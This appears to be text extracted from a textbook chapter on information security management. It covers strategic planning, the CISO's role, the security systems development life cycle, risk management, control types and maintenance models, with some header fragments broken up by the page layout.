The mission statement explicitly declares the business of the organization, as well as its intended areas of operations. It is, in a sense, the organization’s identity card.

The mission statement must explain what the organization does and for whom.

Random Widget Works, Inc. designs and manufactures quality widgets and associated equipment and sup-plies for use in modern business environments.

The Information Security Department is charged with identifying, assessing, and appropriately managing risks to Company X’s information and information systems. It evaluates the options for dealing with these risks, and works with departments throughout Company X to decide upon and then implement controls that appropriately and proactively respond to these same risks. The Department is also responsible for de-veloping requirements that apply to the entire organization as well as external information systems in which Company X participates [these requirements include policies, standards, and procedures]. The focal point for all matters related to information security, this Department is ultimately responsible for all endeavors within Company X that seek to avoid, prevent, detect, correct, or recover from threats to information or information systems.

Vision

In contrast to the mission statement, which expresses what the organization is, the vision statement ex-presses what the organization wants to become.

Vision statements therefore should be ambitious; after all, they are meant to express the aspirations of the organization and to serve as a means for visualizing its future.

The vision statement is the best-case scenario for the organization’s future.

Random Widget Works will be the preferred manufacturer of choice for every business’s widget equip-ment needs, with an RWW widget in every machine they use.

MA

NA

GIN

G S

ECU

RITY

338

MA

NA

GIN

G SECU

RITY

339

Management of Information Security

Strategy

Strategy, or strategic planning, is the basis for long-term direction for the organization.

Strategic planning in general guides organizational efforts, and focuses resources toward specific, clearly defined goals, in the midst of an ever-changing environment.

“In short, strategic planning is a disciplined effort to produce fundamental decisions and actions that shape and guide what an organization is, what it does, and why it does it, with a focus on the future.”

Planning for the Organization

After an organization develops a general strategy, it creates an overall strategic plan by extrapolating that general strategy into specific strategic plans for major divisions.

Each level of each division translates those objectives into more specific objectives for the level below.

However, in order to execute this broad strategy and turn statement into action, the executive team must first define individual responsibilities.

MA

NA

GIN

G S

ECU

RITY

340

Management of Information Security

Planning Levels

Once the organization’s overall strategic plan is translated into strategic goals for each major division or op-eration, such as the Information Security group, the next step is to translate these strategies into tasks with specific, measurable, achievable and time-bound objectives.

Strategic planning then begins a transformation from general, sweeping statements toward more specific and applied objectives.

Tactical planning has a shorter focus than strategic planning, usually one to three years.

Tactical planning breaks down each applicable strategic goal into a series of incremental objectives.

Managers and employees use the operational plans, which are derived from the tactical plans, to organize the ongoing, day-to-day performance of tasks.

The operational plan includes clearly identified coordination activities across department boundaries, com-munications requirements, weekly meetings, summaries, progress reports, and associated tasks.M

AN

AG

ING

SECURITY

341

Management of Information

Planning and the CISO

The first priority of the CISO and information security manager should be the structure of a strategic plan.

While each organization may have its own format for the design and distribution of a strategic plan, the fundamental elements of planning are the same.

Elements of a strategic plan

Introduction by the President of the Board or CEO

Executive Summary

• Mission Statement and Vision Statement

• Organizational Profile and History

• Strategic Issues and Core Values

• Program Goals and Objectives

• Management/Operations Goals and Objectives

• Appendices (optional) (strengths, weaknesses, opportunities and threats (SWOT) analyses, surveys, bud-gets etc).”

MA

NA

GIN

G S

ECU

RITY

342

Some additional tips for planning include:

• Create a compelling vision statement that frames the evolving plan, and acts as a magnet for people who want to make a difference.

• Embrace the use of a balanced scorecard approach, which demands the use of a balanced set of mea-sures and cause & effect thinking.

• Deploy a draft high level plan early, and ask for input from stakeholders in the organization.

• Make the evolving plan visible.

• Make the process invigorating for everyone.

• Be persistent.

• Make the process continuous.

• Provide meaning.

• Be yourself.

• Lighten up and have some fun.

Management of Information

Planning for Information Security Implementation

The CIO and CISO play important roles in translating overall strategic planning into tactical and operational information security plans information security.

The CISO plays a more active role in the development of the planning details than does the CIO.

The job description for the Information Security Department Manager from Information Security Roles and Responsibilities Made Easy is:

• Creates a strategic information security plan with a vision for the future of information security at Com-pany X (utilizing evolving information security technology, this vision meets a variety of objectives such as management’s fiduciary and legal responsibilities, customer expectations for secure modern business practices, and the competitive requirements of the marketplace)

• Understands the fundamental business activities performed by Company X, and based on this under-standing, suggests appropriate information security solutions that uniquely protect these activities

• Develops action plans, schedules, budgets, status reports and other top management communications intended to improve the status of information security at Company X

MA

NA

GIN

G SECU

RITY

343

Once the organization’s overall strategic plan has been translated into IT and information security depart-mental objectives by the CIO, and then further translated into tactical and operational plans by the CISO, the implementation of information security can begin.

Implementation of information security can be accomplished in two ways: bottom-up or top-down.

Management of Information

The bottom-up approach can begin as a grass-roots effort in which systems administrators attempt to im-prove the security of their systems.

The key advantage to this approach is the technical expertise of the individual administrators, since they work with information systems on a daily basis.

Unfortunately, this approach seldom works, as it lacks a number of critical features, such as coordinated planning from upper management, coordination between departments, and the provision of sufficient resources.

The top-down approach, in contrast, has strong upper management support, a dedicated champion, usually assured funding, a clear planning and implementation process, and the ability to influence organizational culture.

High-level managers provide resources, give direction, issue policies, procedures and processes, dictate the goals and expected outcomes of the project, and determine who is accountable for each of the required actions. The most successful top-down approach also involves a formal development strategy referred to as the systems development life cycle.

For any top-down approach to succeed, however, high-level management must buy into the effort and pro-vide all departments with their full support. M

AN

AG

ING

SEC

URI

TY

344

Such an initiative must have a champion—ideally, an executive with sufficient influence to move the project forward, ensure that it is properly managed, and push for acceptance throughout the organization.

Involvement and support of the end users is also critical to the success of this type of effort.

Introduction to the Systems Development Life Cycle

The general systems development life cycle (SDLC) is a methodology for the design and implementation of an information system in an organization widely used in IT organizations.

A methodology is a formal approach to solving a problem based on a structured sequence of procedures. Using a methodology ensures a rigorous process, and increases the likelihood of achieving the desired final objective.

The impetus to begin a SDLC-based project may be event-driven, that is, started in response to some event in the business community, inside the organization, or within the ranks of employees, customers or other stakeholders. Or it could be plan-driven, that is, the result of a carefully developed planning strategy.

At the end of each phase, a structured review or reality check takes place, during which the team and its management-level reviewers determine if the project should be continued, discontinued, outsourced, or postponed until additional expertise or organizational knowledge is acquired.

MA

NA

GIN

G SECU

RITY

345

It identifies the problem that the system being developed is to solve.

Beginning with an examination of the event or plan that initiates the process, the objectives, constraints, and scope of the project are specified.

A preliminary cost/benefit analysis is developed to evaluate the perceived benefits and the appropriate costs for those benefits.

Analysis

The analysis phase begins with the information learned during the investigation phase. This phase assesses the organization’s readiness, its current systems status, and its capability to implement and then support the proposed systems.

Analysts determine what the new system is expected to do, and how it will interact with existing systems.

Logical Design

In the logical design phase, the information obtained during the analysis phase is used to create a proposed system-based solution for the business problem.

Based on the business need, the team selects systems and/or applications capable of providing the needed services.

Finally, based on all of the above, the team selects specific types of technical controls that might prove use-ful when implemented as a physical solution.

The logical design is the implementation independent blueprint for the desired solution.

MA

NA

GIN

G S

ECU

RITY

346

Physical Design

During the physical design phase, the team selects specific technologies that support the alternatives identi-fied and evaluated in the logical design.

The selected components are evaluated further as a make-or-buy decision, then a final design is chosen that integrates the various required components and technologies.

Implementation

In the implementation phase, the organization’s software engineers develop any software that is not to be purchased, and take steps to create integration modules.

These customized elements are tested and documented.

Users are trained and supporting documentation is created.

Once all components have been tested individually, they are installed and tested.

Maintenance

This phase consists of the tasks necessary to support and modify the system for the remainder of its useful life cycle.

Periodically, the system is tested for compliance, and the feasibility of continuance versus discontinuance is evaluated.

Upgrades, updates, and patches are managed.

When the current system can no longer support the changed mission of the organization, it is terminated and a new systems development project is undertaken.

The Security Systems Development Life Cycle (SecSDLC)

The security systems development life cycle (SecSDLC), may differ in several specific activities, but the over-all methodology is the same.

The SecSDLC process involves the identification of specific threats and the risks that they represent, and the subsequent design and implementation of specific controls to counter those threats and assist in the man-agement of the risk.

Investigation in the SecSDLC

The investigation phase of the SecSDLC begins with a directive from upper management specifying the process, outcomes, and goals of the project, as well as its budget and other constraints.

Frequently, this phase begins with the affirmation or creation of security policies on which the security pro-gram of the organization is or will be founded.

Teams of managers, employees, and contractors are assembled to analyze problems, define their scope, specify goals and objectives, and identify any additional constraints not covered in the enterprise security policy.

Finally, an organizational feasibility analysis determines whether the organization has the resources and commitment to conduct a successful security analysis and design.

MA

NA

GIN

G SECU

RITY

347

Analysis in the SecSDLC

The development team created during the investigation phase conducts a preliminary analysis of existing security policies or programs, along with documented current threats and associated controls.

This phase also includes an analysis of relevant legal issues that could affect the design of the security solu-tion.

The risk management task also begins in this stage.

Risk Management

Risk management is the process of identifying, assessing, and evaluating the levels of risk facing the organi-zation, specifically the threats to the organization’s security and to the information stored and processed by the organization.

“If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will also suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every battle.”

To better understand the analysis phase of the SecSDLC, you should know something about the kinds of threats facing organizations in the modern, connected world of information technology (or IT).

In this context, a threat is an object, person, or other entity that represents a constant danger to an asset.

An attack is a deliberate act that exploits a vulnerability.

It is accomplished by a threat agent that damages or steals an organization’s information or physical asset.

An exploit is a technique or mechanism used to compromise a system.

A vulnerability is an identified weakness of a controlled system in which necessary controls are not present or are no longer effective.

An attack is the use of an exploit to achieve the compromise of a controlled system.

The last step in knowing the enemy is to find some method of prioritizing the risk posed by each category of threat and its related methods of attack.

This can be done by adopting threat levels from an existing study of threats, or by creating your own catego-rization of threats for your environment based on scenario analyses.

To manage risk, you must identify and assess the value of your information assets.

This iterative process must include a classification and categorization of all of the elements of an organiza-tion’s systems: people, procedures, data and information, software, hardware and networking elements.

The next challenge in the analysis phase is to review each information asset for each threat it faces and cre-ate a list of the vulnerabilities.

As the analysis phase continues, the next task is to assess the relative risk for each of the information assets.

We accomplish this by a process called risk assessment or risk analysis.

Risk assessment assigns a comparative risk rating or score to each specific information asset.

MA

NA

GIN

G S

ECU

RITY

348

Risk management is the part of the analysis phase that identifies vulnerabilities in an organization’s informa-tion systems and takes carefully reasoned steps to assure the confidentiality, integrity, and availability of all the components in the organization’s information system.

Design in the SecSDLC

The design phase actually consists of two distinct phases, the logical design and the physical design.

In the logical design phase, team members create and develop the blueprint for security, and examine and implement key policies that influence later decisions.

In the physical design phase, team members evaluate the technology needed to support the security blue-print, generate alternative solutions, and agree upon a final design.

Between the of logical and physical design phases, a security manager may seek to use established security models to guide the design process.

Security models provide frameworks for ensuring that all areas of security are addressed; organizations can adapt or adopt a framework to meet their own information security needs.

One of the design elements of the information security program is the information security policy of the organization.

Management must define three types of security policy:

1. General or security program policy,

2. Issue-specific security policies and

3. Systems-specific security policies.

Another integral part of the information security program to be designed is the security education and train-ing (SETA) program.

The SETA program consists of three elements: security education, security training, and security awareness.

The purpose of SETA is to enhance security by :-

1. Improving awareness of the need to protect system resources;

2. developing skills and knowledge so computer users can perform their jobs more securely and

3. building in-depth knowledge, as needed, to design, implement, or operate security programs for organi-zations and systems.”

As the design phase continues, attention turns to the design of the controls and safeguards used to protect information from attacks by threats.

There are three categories of controls:

MA

NA

GIN

G SECU

RITY

349

1. Managerial controls address the design and implementation of the security planning process and secu-rity program management. Management controls also addresses risk management and security controls reviews.

2. Operational Controls cover management functions and lower level planning, such as disaster recovery and incident response planning. Operational controls also address personnel security, physical security and the protection of production inputs and outputs.

3. Technical Controls address those tactical and technical issues related to designing and implementing security in the organization. Here the technologies necessary to protect information are examined and selected.

Another element of the design phase is the creation of essential preparedness documents.

• Contingency planning (CP) is the entire planning conducted by the organization to prepare for, react to and recover from events that threaten the security of information and information assets in the organi-zation, and the subsequent restoration to normal business operations.

• Incident response planning (IRP) is the planning process associated with the identification, classification, response, and recovery from an incident.

• Disaster recovery planning (DRP) is the planning process associated with the preparation for and recov-ery from a disaster, whether natural or man-made.

• Business continuity planning (BCP) is the planning process associated with ensuring that critical busi-ness functions continue if a catastrophic incident or disaster occurs.

As the design phase progresses, attention now focuses on physical security, which addresses the design, im-plementation, and maintenance of countermeasures that protect the physical resources of an organization.

Physical resources include people, hardware, and the supporting system elements and resources associated with the management of information in all its states, transmission, storage, and processing.

Implementation in the SecSDLC

The security solutions are acquired, tested, implemented, and tested again.

Personnel issues are evaluated and specific training and education programs conducted.

Perhaps the most important element of the implementation phase is the management of the project plan.

The major steps in executing the project plan are :-

1. planning the project,

2. supervising the tasks and action steps within the project plan, and

3. wrapping up the project plan.

MA

NA

GIN

G S

ECU

RITY

350

Just as each potential employee and potential employer look for the best fit, each organization should ex-amine the options possible for staffing of the information security function.

1. First, the entire organization must decide how to position and name the security function within the organization.

2. Second, the information security community of interest must plan for the proper staffing (or adjust-ments to the staffing plan) for the information security function.

3. Third, the IT community of interest must understand the impact of information security across every role in the IT function and adjust job descriptions and documented practices accordingly.

4. Finally, the general management community of interest must work with the information security profes-sionals to integrate solid information security concepts into the personnel management practices of the organization.

It takes a wide range of professionals to support a diverse information security program

• Chief Information Officer (CIO)

• Chief Information Security Officer (CISO)

• Security Managers

• Security Technicians

• Data Owners

• Data Custodians

• Data Users

Maintenance and Change in the SecSDLC

Once the information security program is implemented, it must be operated, properly managed, and kept up to date by means of established procedures.

If the program is not adjusting adequately to the changes in the internal or external environment, it may be necessary to begin the cycle again.

While a systems management models is designed to manage and operate systems, a maintenance model is intended to complement a systems management model and focus organizational effort on system mainte-nance.

• External monitoring.

• Internal monitoring. .

• Planning and risk assessment. Vulnerability assessment and remediation Readiness and review.

• Vulnerability assessment

MA

NA

GIN

G SECU

RITY

351

One of the maintenance issue that must be pllaned in the SecSDLC is the system management model that will be used. The ISO management model is a five-area approach that provides structure to the administra-tion and management of networks and systems. These five areas are:

• Fault management

• Configuration and name management

• Accounting management

• Performance management

• Security management

Fault Management. Involves identifying and addressing faults in the applied information security profile and then addressing them. Also, the monitoring and resolution of user complaints.

Configuration and Change Management. The administration of various components involved in the security program as well as changes in the strategy, operation, or components of the information security program.

MA

NA

GIN

G S

ECU

RITY

352

Accounting and Auditing Management involves chargeback accounting, and systems monitoring. Charge-back accounting happens when organizations internally charge their departments for system use. While chargebacks are seldom used today, certain kinds of resource usage are commonly tracked—such as those on a computing system (like a server or a desktop computer) or human effort-hours—to recover IT costs from non-IT units of the organization. Accounting management involves monitoring the use of a partic-ular component of a system. In networking, this monitoring may simply determine which users are using which resources. However, in security, it may be easy to track which resources are being used but difficult to determine who is using them, at which point, accounting management begins to overlap with performance management, which is addressed in the next section. With accounting management you begin to determine optimal points of systems use as indicators for upgrade and improvement. Auditing is the process of review-ing the use of a system, not to determine its performance, but to determine if misuse or malfeasance has occurred.

Management of Information

Performance Management. Because many information security technical controls are implemented on common IT processors, they are affected by the same factors as most computer-based technologies. It is therefore important to monitor the performance of security systems and their underlying IT infrastructure to determine if they are effectively and efficiently doing the job they were implemented to do. Some infor-mation security control systems, such as Internet usage monitors that look for inappropriate use of Internet resources, operate as pass-by devices.

Security Program Management. Once an information security program is functional it must be operated and managed. The ISO five-area framework provides some structure for a management model; however, it focus-es on ensuring that various areas are addressed, rather than guiding the actual conduct of management. In order to assist in the actual management of information security programs, a formal management standard can provide some insight into the processes and procedures needed. This could be based on the BS7799/ISO27001model or the NIST models described earlier.

MA

NA

GIN

G SECU

RITY

353

MA

NA

GIN

G S

ECU

RITY

354

SECURIN

G U

NIX H

OST

355

SECU

RIN

G U

NIX

HO

ST